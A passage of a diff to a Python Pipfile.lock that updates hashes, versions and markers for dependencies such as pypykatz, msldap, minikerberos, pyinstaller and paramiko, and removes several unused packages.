"sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", - "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", - "sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047", - "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", - "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", - "sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b", - "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", - "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", - "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", - "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", - "sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1", - "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", - "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", - "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", - "sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee", - "sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f", - "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", - "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", - "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", - "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", - "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", - "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", - "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86", - "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6", - "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", - "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", - "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", - "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", - "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e", - "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", - "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", - "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f", - "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", - "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", - "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", - "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145", - "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", - "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", - "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", - "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a", - "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207", - "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", - "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", - "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd", - "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", - "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85", - "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9", - "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", - "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", - "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", - "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51", - "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872" + "sha256:0212a68688482dc52b2d45013df70d169f542b7394fc744c02a57374a4207003", + "sha256:089cf3dbf0cd6c100f02945abeb18484bd1ee57a079aefd52cffd17fba910b88", + "sha256:10c1bfff05d95783da83491be968e8fe789263689c02724e0c691933c52994f5", + "sha256:33b74d289bd2f5e527beadcaa3f401e0df0a89927c1559c8566c066fa4248ab7", + "sha256:3799351e2336dc91ea70b034983ee71cf2f9533cdff7c14c90ea126bfd95d65a", + "sha256:3ce11ee3f23f79dbd06fb3d63e2f6af7b12db1d46932fe7bd8afa259a5996603", + "sha256:421be9fbf0ffe9ffd7a378aafebbf6f4602d564d34be190fc19a193232fd12b1", + "sha256:43093fb83d8343aac0b1baa75516da6092f58f41200907ef92448ecab8825135", + "sha256:46d00d6cfecdde84d40e572d63735ef81423ad31184100411e6e3388d405e247", + "sha256:4a33dea2b688b3190ee12bd7cfa29d39c9ed176bda40bfa11099a3ce5d3a7ac6", + "sha256:4b9fe39a2ccc108a4accc2676e77da025ce383c108593d65cc909add5c3bd601", + "sha256:56442863ed2b06d19c37f94d999035e15ee982988920e12a5b4ba29b62ad1f77", + "sha256:671cd1187ed5e62818414afe79ed29da836dde67166a9fac6d435873c44fdd02", + "sha256:694deca8d702d5db21ec83983ce0bb4b26a578e71fbdbd4fdcd387daa90e4d5e", + "sha256:6a074d34ee7a5ce3effbc526b7083ec9731bb3cbf921bbe1d3005d4d2bdb3a63", + "sha256:6d0072fea50feec76a4c418096652f2c3238eaa014b2f94aeb1d56a66b41403f", + "sha256:6fbf47b5d3728c6aea2abb0589b5d30459e369baa772e0f37a0320185e87c980", + "sha256:7f91197cc9e48f989d12e4e6fbc46495c446636dfc81b9ccf50bb0ec74b91d4b", + "sha256:86b1f75c4e7c2ac2ccdaec2b9022845dbb81880ca318bb7a0a01fbf7813e3812", + "sha256:8dc1c72a69aa7e082593c4a203dcf94ddb74bb5c8a731e4e1eb68d031e8498ff", + "sha256:8e3dcf21f367459434c18e71b2a9532d96547aef8a871872a5bd69a715c15f96", + "sha256:8e576a51ad59e4bfaac456023a78f6b5e6e7651dcd383bcc3e18d06f9b55d6d1", + "sha256:96e37a3dc86e80bf81758c152fe66dbf60ed5eca3d26305edf01892257049925", + "sha256:97a68e6ada378df82bc9f16b800ab77cbf4b2fada0081794318520138c088e4a", + "sha256:99a2a507ed3ac881b975a2976d59f38c19386d128e7a9a18b7df6fff1fd4c1d6", + "sha256:a49907dd8420c5685cfa064a1335b6754b74541bbb3706c259c02ed65b644b3e", + "sha256:b09bf97215625a311f669476f44b8b318b075847b49316d3e28c08e41a7a573f", + "sha256:b7bd98b796e2b6553da7225aeb61f447f80a1ca64f41d83612e6139ca5213aa4", + "sha256:b87db4360013327109564f0e591bd2a3b318547bcef31b468a92ee504d07ae4f", + "sha256:bcb3ed405ed3222f9904899563d6fc492ff75cce56cba05e32eff40e6acbeaa3", + "sha256:d4306c36ca495956b6d568d276ac11fdd9c30a36f1b6eb928070dc5360b22e1c", + "sha256:d5ee4f386140395a2c818d149221149c54849dfcfcb9f1debfe07a8b8bd63f9a", + "sha256:dda30ba7e87fbbb7eab1ec9f58678558fd9a6b8b853530e176eabd064da81417", + "sha256:e04e26803c9c3851c931eac40c695602c6295b8d432cbe78609649ad9bd2da8a", + "sha256:e1c0b87e09fa55a220f058d1d49d3fb8df88fbfab58558f1198e08c1e1de842a", + "sha256:e72591e9ecd94d7feb70c1cbd7be7b3ebea3f548870aa91e2732960fa4d57a37", + "sha256:e8c843bbcda3a2f1e3c2ab25913c80a3c5376cd00c6e8c4a86a89a28c8dc5452", + "sha256:efc1913fd2ca4f334418481c7e595c00aad186563bbc1ec76067848c7ca0a933", + "sha256:f121a1420d4e173a5d96e47e9a0c0dcff965afdf1626d28de1460815f7c4ee7a", + "sha256:fc7b548b17d238737688817ab67deebb30e8073c95749d55538ed473130ec0c7" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "markers": "python_version >= '3.7'", + "version": "==2.1.1" }, "minidump": { "hashes": [ @@ -523,34 +378,19 @@ }, "minikerberos": { "hashes": [ - "sha256:eba89d5c649241a3367839ebd1c0333b9a9e4fe514746e246a6a1f2cb7bde26e", - "sha256:f556a6015904147c3302e9038b49f766c975df6aeb1725027cd7fc68ba993864" + "sha256:3c383f67ebcf6f28105ed54f623a6a5c677a24e3f0c9ad69ed453f77e569d714", + "sha256:789f802263fa1882f701b123f6eec048b45cd731bf1b528870005daf07402047" ], "markers": "python_version >= '3.6'", - "version": "==0.2.16" - }, - "more-itertools": { - "hashes": [ - "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b", - "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064" - ], - "markers": "python_version >= '3.5'", - "version": "==8.12.0" + "version": "==0.2.20" }, "msldap": { "hashes": [ - "sha256:37e1b1044792595ca78fc14402baf84922e0a3838b36534ecd5a75cdd81e74ee", - "sha256:7d7f96d41ab8174ffa0f2c56780eb3be8b3015009d0e94a4dbd83b9ead5c6181" + "sha256:c9e530a5e61a2a4584c3541a1e40787399b9225a4f727ad13ad0b4998bfda03a", + "sha256:cc9129f3f8cf4c06f7469cf25f249db55976b922e94a2ac690987b181ff74307" ], "markers": "python_version >= '3.7'", - "version": "==0.3.30" - }, - "netaddr": { - "hashes": [ - "sha256:9666d0232c32d2656e5e5f8d735f58fd6c7457ce52fc21c98d45f2af78f990ac", - "sha256:d6cc57c7a07b1d9d2e917aa8b36ae8ce61c35ba3fcd1b83ca31c5a0ee2b5a243" - ], - "version": "==0.8.0" + "version": "==0.3.38" }, "netifaces": { "hashes": [ @@ -597,18 +437,15 @@ }, "oscrypto": { "hashes": [ - "sha256:7d2cca6235d89d1af6eb9cfcd4d2c0cb405849868157b2f7b278beb644d48694", - "sha256:988087e05b17df8bfcc7c5fac51f54595e46d3e4dffa7b3d15955cf61a633529" + "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085", + "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4" ], - "version": "==1.2.1" + "version": "==1.3.0" }, "paramiko": { - "hashes": [ - "sha256:04097dbd96871691cdb34c13db1883066b8a13a0df2afd4cb0a92221f51c2603", - "sha256:944a9e5dbdd413ab6c7951ea46b0ab40713235a9c4c5ca81cfe45c6f14fa677b" - ], - "index": "pypi", - "version": "==2.9.2" + "editable": true, + "git": "https://github.com/VakarisZ/paramiko.git", + "ref": "d554bc53b9712e5fbb5e444750ad9d91f8c0b16f" }, "passlib": { "hashes": [ @@ -621,31 +458,17 @@ "hashes": [ "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" ], - "markers": "python_version >= '3.6'", + "index": "pypi", + "markers": "sys_platform == 'win32'", "version": "==2021.9.3" }, - "policyuniverse": { - "hashes": [ - "sha256:116b808554d7ea75efc97b4cb904085546db45934ef315175cb4755c7a4489de", - "sha256:7440ac520bb791e0318e3d99f9b0e76b7b2b604e7160f1d8341ded060f9ff1cd" - ], - "version": "==1.4.0.20220110" - }, - "portend": { - "hashes": [ - "sha256:239e3116045ea823f6df87d6168107ad75ccc0590e37242af0cc1e98c5d224e4", - "sha256:9e735cee3a5c1961f09e3f3ba6dc498198c2d70b473d98d0d1504b8d1e7a3d61" - ], - "markers": "python_version >= '3.7'", - "version": "==3.1.0" - }, "prompt-toolkit": { "hashes": [ - "sha256:45f3137a16a7bb5893928f918bfcc36cfe812db49437d087201cd2a78016cbb3", - "sha256:c79f8d3fe475116a2daaed1c5c08d4450becbe7b5c1a513d50b6d45248857a67" + "sha256:62291dad495e665fca0bda814e342c69952086afb0f4094d0893d357e5c78752", + "sha256:bd640f60e8cecd74f0dc249713d433ace2ddc62b65ee07f96d358e0b152b6ea7" ], "markers": "python_full_version >= '3.6.2'", - "version": "==3.0.25" + "version": "==3.0.29" }, "psutil": { "hashes": [ @@ -729,89 +552,63 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==2.21" }, - "pycryptodome": { - "hashes": [ - "sha256:008ef2c631f112cd5a58736e0b29f4a28b4bb853e68878689f8b476fd56e0691", - "sha256:073dedf0f9c490ae22ca081b86357646ac9b76f3e2bd89119d137fc697a9e3b6", - "sha256:0896d5d15ffe584d46cb9b69a75cf14a2bc8f6daf635b7bf16c1b041342a44b1", - "sha256:1fb7a6f222072412f320b9e48d3ce981920efbfce37b06d028ec9bd94093b37f", - "sha256:4f1b594d0cf35bd12ec4244df1155a7f565bf6e6245976ac36174c1564688c90", - "sha256:51ebe9624ad0a0b4da1aaaa2d43aabadf8537737fd494cee0ffa37cd6326de02", - "sha256:681ac47c538c64305d710eaed2bb49532f62b3f4c93aa7c423c520df981392e5", - "sha256:702446a012fd9337b9327d168bb0c7dc714eb93ad361f6f61af9ca8305a301f1", - "sha256:720fafdf3e5c5de93039d8308f765cc60b8e9e7e852ad7135aa65dd89238191f", - "sha256:72de8c4d71e6b11d54528bb924447fa4fdabcbb3d76cc0e7f61d3b6075def6b3", - "sha256:765b8b16bc1fd699e183dde642c7f2653b8f3c9c1a50051139908e9683f97732", - "sha256:7a8b0e526ff239b4f4c61dd6898e2474d609843ffc437267f3a27ddff626e6f6", - "sha256:7b3478a187d897f003b2aa1793bcc59463e8d57a42e2aafbcbbe9cd47ec46863", - "sha256:857c16bffd938254e3a834cd6b2a755ed24e1a953b1a86e33da136d3e4c16a6f", - "sha256:88d6d54e83cf9bbd665ce1e7b9079983ee2d97a05f42e0569ff00a70f1dd8b1e", - "sha256:95bacf9ff7d1b90bba537d3f5f6c834efe6bfbb1a0195cb3573f29e6716ef08d", - "sha256:9c8e0e6c5e982699801b20fa74f43c19aa080d2b53a39f3c132d35958e153bd4", - "sha256:9ea70f6c3f6566159e3798e4593a4a8016994a0080ac29a45200615b45091a1b", - "sha256:b3af53dddf848afb38b3ac2bae7159ddad1feb9bac14aa3acec6ef1797b82f8d", - "sha256:ca6db61335d07220de0b665bfee7b8e9615b2dfc67a54016db4826dac34c2dd2", - "sha256:cb9453c981554984c6f5c5ce7682d7286e65e2173d7416114c3593a977a01bf5", - "sha256:d92a5eddffb0ad39f582f07c1de26e9daf6880e3e782a94bb7ebaf939567f8bf", - "sha256:deede160bdf87ddb71f0a1314ad5a267b1a960be314ea7dc6b7ad86da6da89a3", - "sha256:e3affa03c49cce7b0a9501cc7f608d4f8e61fb2522b276d599ac049b5955576d", - "sha256:e420cdfca73f80fe15f79bb34756959945231a052440813e5fce531e6e96331a", - "sha256:e468724173df02f9d83f3fea830bf0d04aa291b5add22b4a78e01c97aab04873", - "sha256:e5d72be02b17e6bd7919555811264403468d1d052fa67c946e402257c3c29a27", - "sha256:eec02d9199af4b1ccfe1f9c587691a07a1fa39d949d2c1dc69d079ab9af8212f", - "sha256:f5457e44d3f26d9946091e92b28f3e970a56538b96c87b4b155a84e32a40b7b5", - "sha256:f7aad304575d075faf2806977b726b67da7ba294adc97d878f92a062e357a56a" - ], - "index": "pypi", - "version": "==3.13.0" - }, "pycryptodomex": { "hashes": [ - "sha256:00e37d478c0f040639ab41a9d5280291ad2b3b5f25b9aad5baa1d5ecb578a3f6", - "sha256:04a38a7dc484f5e3152a69e4eab89d9340c2ad3b7c4a27d2ee256e5fb878c469", - "sha256:05e0e3b78b7ccc0b7c5f88596d51fdc8533adb91070b93e18cec12ca3b43deb3", - "sha256:0ec86fca2114e8c58fe6bfc7e04ee91568a813139dcf4334819aa44876764bcf", - "sha256:182962b3612c0d12748fa770f1ef0556ba8ba2c442834450e08acb31d9e6d2ed", - "sha256:2f2bcee2ef59597bfcb755eef2c98294094c1c9b64e9b9195cc9e71be83adb92", - "sha256:2f7db8d85294c1123e700097af407425fd4c9e6c58b688f391de7053c6a60317", - "sha256:3b7656189c259bb2b838559f0a11b533d4d18409ab6d9119c00bae436c3d3e34", - "sha256:5a2014598ceb19c34f14815a26536e5cc24167ea4d402f0aec2a52b18960c668", - "sha256:63443230247837dd03c5d4028cae5cb2e6793a9ae110e321798bee48a04ff3e9", - "sha256:68fb861b41a889c2efdf2795b0d46aa05d4748543bc4e0bca5886c929c7cbdef", - "sha256:6b3c06e6d235f475395a7e150f2e562a3e9d749fb40c6d81240596f73809346c", - "sha256:6d50723984ba802904618ef5bfe257a0f9644e76821d323f79f27be5adb9ece7", - "sha256:7fb188c9a0f69d4f7b607780641ef7aec7f02a8dad689512b17bdf04c96ce6e3", - "sha256:7fb9d1ab6a10cfc8c8c7e11f004e01c8a1beff5fd4118370d95110735cc23117", - "sha256:80eedc23c4c4d3655c6a7d315a01f0e9d460c7070c5c3af4952937b4f2c0da6f", - "sha256:9fa76261100b450e5aca2990ba982e5294ba383f653da041a71b4ac1cbaed1ff", - "sha256:b11331510cfd08ec4416f37dc8f072541d7b7240ba924c71288f7218aad36bdf", - "sha256:b4240991748ae0f57a0120b8d905b2d9f835fee02968fc11faec929ef6915ee6", - "sha256:b7b059517d84c57f25c6fd3b2e03a1b2945df2e585b96109bcd11e56f6c9e610", - "sha256:b975ce778ea2c65f399ab889a661e118bb68b85db47d93e0442eb1ba1f554794", - "sha256:c87f62de9e167031ad4179efb1fda4012bb6f7363472a61254e4426bda6bcb64", - "sha256:ccd301d2e71d243b0fad8c4642116c538d7d405d35b6026cf4dcee463a667a2e", - "sha256:dce2bfd0f285c3fcff89e4239c55f5fbe664ff435ee45abfc154aac0f222ab14", - "sha256:dfb8bcd45e504e1c26f0bfc404f3edd08f8c8057dfe04fbf6159adc8694ff97a", - "sha256:e1900d7f16a03b869be3572e7664757c14316329a4d79ecee5a0083fad8c81b0", - "sha256:e2ddfbcb2c4c7cb8f79db49e284280be468699c701b92d30fd1e46a786b39f5b", - "sha256:eb4eea028a7ad28458abf8b98ae14af2fd9baeb327a0adb6af05a488e4d9e9a1", - "sha256:f3a29bb51e5f9b46004b5be16bcbe4e1b2d2754cbe201e1a0b142c307bdf4c73", - "sha256:f553abcb3572242fed87e308a6b91a9bc5a74b801b5d093969391b0500be718b" + "sha256:1ca8e1b4c62038bb2da55451385246f51f412c5f5eabd64812c01766a5989b4a", + "sha256:298c00ea41a81a491d5b244d295d18369e5aac4b61b77b2de5b249ca61cd6659", + "sha256:2aa887683eee493e015545bd69d3d21ac8d5ad582674ec98f4af84511e353e45", + "sha256:2ce76ed0081fd6ac8c74edc75b9d14eca2064173af79843c24fa62573263c1f2", + "sha256:3da13c2535b7aea94cc2a6d1b1b37746814c74b6e80790daddd55ca5c120a489", + "sha256:406ec8cfe0c098fadb18d597dc2ee6de4428d640c0ccafa453f3d9b2e58d29e2", + "sha256:4d0db8df9ffae36f416897ad184608d9d7a8c2b46c4612c6bc759b26c073f750", + "sha256:530756d2faa40af4c1f74123e1d889bd07feae45bac2fd32f259a35f7aa74151", + "sha256:77931df40bb5ce5e13f4de2bfc982b2ddc0198971fbd947776c8bb5050896eb2", + "sha256:797a36bd1f69df9e2798e33edb4bd04e5a30478efc08f9428c087f17f65a7045", + "sha256:8085bd0ad2034352eee4d4f3e2da985c2749cb7344b939f4d95ead38c2520859", + "sha256:8536bc08d130cae6dcba1ea689f2913dfd332d06113904d171f2f56da6228e89", + "sha256:a4d412eba5679ede84b41dbe48b1bed8f33131ab9db06c238a235334733acc5e", + "sha256:aebecde2adc4a6847094d3bd6a8a9538ef3438a5ea84ac1983fcb167db614461", + "sha256:b276cc4deb4a80f9dfd47a41ebb464b1fe91efd8b1b8620cf5ccf8b824b850d6", + "sha256:b5a185ae79f899b01ca49f365bdf15a45d78d9856f09b0de1a41b92afce1a07f", + "sha256:c4d8977ccda886d88dc3ca789de2f1adc714df912ff3934b3d0a3f3d777deafb", + "sha256:c5dd3ffa663c982d7f1be9eb494a8924f6d40e2e2f7d1d27384cfab1b2ac0662", + "sha256:ca88f2f7020002638276439a01ffbb0355634907d1aa5ca91f3dc0c2e44e8f3b", + "sha256:d2cce1c82a7845d7e2e8a0956c6b7ed3f1661c9acf18eb120fc71e098ab5c6fe", + "sha256:d709572d64825d8d59ea112e11cc7faf6007f294e9951324b7574af4251e4de8", + "sha256:da8db8374295fb532b4b0c467e66800ef17d100e4d5faa2bbbd6df35502da125", + "sha256:e36c7e3b5382cd5669cf199c4a04a0279a43b2a3bdd77627e9b89778ac9ec08c", + "sha256:e95a4a6c54d27a84a4624d2af8bb9ee178111604653194ca6880c98dcad92f48", + "sha256:ee835def05622e0c8b1435a906491760a43d0c462f065ec9143ec4b8d79f8bff", + "sha256:f75009715dcf4a3d680c2338ab19dac5498f8121173a929872950f4fb3a48fbf", + "sha256:f8524b8bc89470cec7ac51734907818d3620fb1637f8f8b542d650ebec42a126" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==3.13.0" + "version": "==3.14.1" }, "pyinstaller": { - "git": "git://github.com/guardicore/pyinstaller", - "ref": "913259a5cd2baece06b0eed3618eb75b1bc7fad6" + "hashes": [ + "sha256:24035eb9fffa2e3e288b4c1c9710043819efc7203cae5c8c573bec16f4a8e98f", + "sha256:59372b950d176fdc5ecea29719a8ab3f194b73a15b7f9875ac2a1de9a3daf5ed", + "sha256:62c97cbbdbee30974d607eb1de9afb081eb3adba787c203b00438e21027b829b", + "sha256:75a180a658871bc41f9cf94b6f90ffa54e98f5d6a7cdb02d7530f0360afe24f9", + "sha256:7f46ab11ec986e4c525b93251063144e12d432a132dbc0070e3030e34c76537a", + "sha256:a0b988cfc197d40e3d773b3aa1c7d3e918fc0933b4c15ec3fc5d156f222d82cb", + "sha256:b5f1a94150315ea75bf3501be6c8476d65a7209580bb662da06dbdbc4454f375", + "sha256:bec57b3b2b6178907255557ec0fc4b5ce5a0474013414cdadea853205c74ed26", + "sha256:e2f165cea4470ce8a8349112cd78f48a61413805adc17792a91997a11cfe1d80", + "sha256:ebeb87cdbadb2b4e8f991ffd9945ebd4fb3a7303180e63682c3e1ce01b3fdd22", + "sha256:ec3ca331d565ffca1b6470c5aaf798885a03708c3d0b15c1b19009126f84c1d4" + ], + "index": "pypi", + "version": "==4.9" }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:27558072021857d89524c42136feaa2ffe4f003f1bdf0278f9b24f6902c1759c", - "sha256:892310e6363655838485ee748bf1c5e5cade7963686d9af8650ee218a3e0b031" + "sha256:9765e68552803327d58f6c5eca970bb245b7cdf073e2f912a2a3cb50360bc2d8", + "sha256:9fa4ca03d058cba676c3cc16005076ce6a529f144c08b87c69998625fbd84e0a" ], - "index": "pypi", - "version": "==2021.1" + "markers": "python_version >= '3.7'", + "version": "==2022.3" }, "pymssql": { "hashes": [ @@ -866,11 +663,11 @@ }, "pyopenssl": { "hashes": [ - "sha256:aeca66338f6de19d1aa46ed634c3b9ae519a64b458f8468aec688e7e3c20f200", - "sha256:c727930ad54b10fc157015014b666f2d8b41f70c0d03e83ab67624fd3dd5d1e6" + "sha256:660b1b1425aac4a1bea1d94168a85d99f0b3144c869dd4390d27629d0087f1bf", + "sha256:ea252b38c87425b64116f808355e8da644ef9b07e429398bfece610f893ee2e0" ], - "index": "pypi", - "version": "==19.0.0" + "markers": "python_version >= '3.6'", + "version": "==22.0.0" }, "pyparsing": { "hashes": [ @@ -882,28 +679,19 @@ }, "pypsrp": { "hashes": [ - "sha256:c0912096858ff8c53a3cf22cc46c3ce20e6ec5e2deade342088e87a81dbadac8", - "sha256:d7144ad7c798a4dcded20a71c712d63eb4bfb32debe62f3a98f01481384a5558" + "sha256:0101345ceb415896fed9b056e7b77d65312089ddc73c4286247ccf1859d4bc4d", + "sha256:f5500acd11dfe742d51b7fbb61321ba721038a300d67763dc52babe709db65e7" ], "index": "pypi", - "version": "==0.7.0" + "version": "==0.8.1" }, "pypykatz": { "hashes": [ - "sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3", - "sha256:b63b19ec6ee8448bbcf7003e6ad1f9d7a2784fd8cee54aebcc5f717792a43200" + "sha256:ad397a6ca72033df70fc6655f8922f1ee16d6c5b05e0e40276899217e2f5dbd3", + "sha256:bddb2f0729856e3a0e8c481ec90b52a7e497506ee07ef20b99719496dda02b8d" ], "index": "pypi", - "version": "==0.3.12" - }, - "pyreadline": { - "hashes": [ - "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", - "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", - "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" - ], - "markers": "python_version < '3.8' and sys_platform == 'win32'", - "version": "==2.1" + "version": "==0.5.2" }, "pysmb": { "hashes": [ @@ -914,36 +702,21 @@ }, "pyspnego": { "hashes": [ - "sha256:19da2de9d55d73d05b2798d4e5bd7ee5980e573ae50dc2f2bc460df5eaffe5ea", - "sha256:27dd07b6b918c289d2820c685b346a198498354cf3a1bfe9ec19cff9fa8fce2f", - "sha256:37c4d80a0c90bd2b670c583b2efbd210c26f54b1f7661c0cbc684a954b88c1c3", - "sha256:6387b4631120205240d1be25aff7a78d41db9b99bb5803b3ac6b7b6ed80b8920", - "sha256:6df4b5233ec28358992adadfef5be76807ca1424e7c0fbf430424759edc85f8b", - "sha256:75a0d4be4236f6b7c2ded0b43fd03e942c48cdbe91c2856f45f22884b7e92ddc", - "sha256:9235a3159a4e1648d6bb4d170b8d68ecf5b1f55fa2f3157335ce74df5c192468", - "sha256:a0d41d43657cd4d4456ca734ec00b6e24c95a144499cfc429371a310c4b10d7a", - "sha256:b02c9b61f85c96f969c78f492b35915a590dddabf987687eb1256ef2fd8fbdcb", - "sha256:ccb8d9cea310f1715d5ed3d2d092db9bf50ff2762cf94a0dd9dfab7774a727fe", - "sha256:e15d16b205fbc5e945244b974312e9796467913f69736fdad262edee0c3c105f", - "sha256:f4a00cc3796d34212b391caecb3fd636cdefea798cb4ac231f893bdade674f01" + "sha256:05438a4e3e1526134bc2d72213417a06a2c3010f5b7271f3122e635e523c3790", + "sha256:12e4da1cbbbd645c0624699a1d99f734161cb9095e9f1fc1c1982ed1b7a44abe", + "sha256:185e0c576cde30d8853d9ea1d69c32cb93e98423934263d6c067bec7adc7dc4f", + "sha256:3361027e7e86de6b784791e09a7b2ba73d06c0be40f027a7be09e45fc92325a5", + "sha256:4971fb166dc9821c98d31d698722d48d0066f1bc63beff8bf3d2a2e60fe507d1", + "sha256:58d352d901baab754f63cb0da790c1f798605eb634f7f922df9bb6822d3de3c5", + "sha256:77b7c75bed737f24989aab453b9b8cd1c1512dfc5bed7a303a1cb1156fd59959", + "sha256:adf2f3e09bc4751c06fab1fedfe734af7f232d79927c753d8981f75a25f791ec", + "sha256:c6993ee6bcfe0036d6246324fcb7975daed858a476bfc7bf1d9334911d3dfca2", + "sha256:e21fc7283caa16761d46bea54e78cbfe3177c21e3b2d17d9ef213edcd86e1250", + "sha256:f05f1a6316a9baeaef243c9420d995c3dc34cfc91841f17db0c793e3fe557728", + "sha256:fe8b2a0d7468d904c61ae63275f8234eb055767aaaba66f6d58d86f47a25aa8e" ], "markers": "python_version >= '3.6'", - "version": "==0.3.1" - }, - "python-dateutil": { - "hashes": [ - "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", - "sha256:c89805f6f4d64db21ed966fda138f8a5ed7a4fdbc1a8ee329ce1b74e3c74da9e" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==2.8.0" - }, - "pytz": { - "hashes": [ - "sha256:3672058bc3453457b622aab7a1c3bfd5ab0bdae451512f6cf25f64ed37f5b87c", - "sha256:acad2d8b20a1af07d4e4c9d2e9285c5ed9104354062f275f3fcd88dcef4f1326" - ], - "version": "==2021.3" + "version": "==0.5.1" }, "pywin32": { "hashes": [ @@ -960,7 +733,8 @@ "sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee", "sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439" ], - "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", + "index": "pypi", + "markers": "sys_platform == 'win32'", "version": "==303" }, "pywin32-ctypes": { @@ -968,6 +742,8 @@ "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" ], + "index": "pypi", + "markers": "sys_platform == 'win32'", "version": "==0.2.0" }, "requests": { @@ -978,18 +754,6 @@ 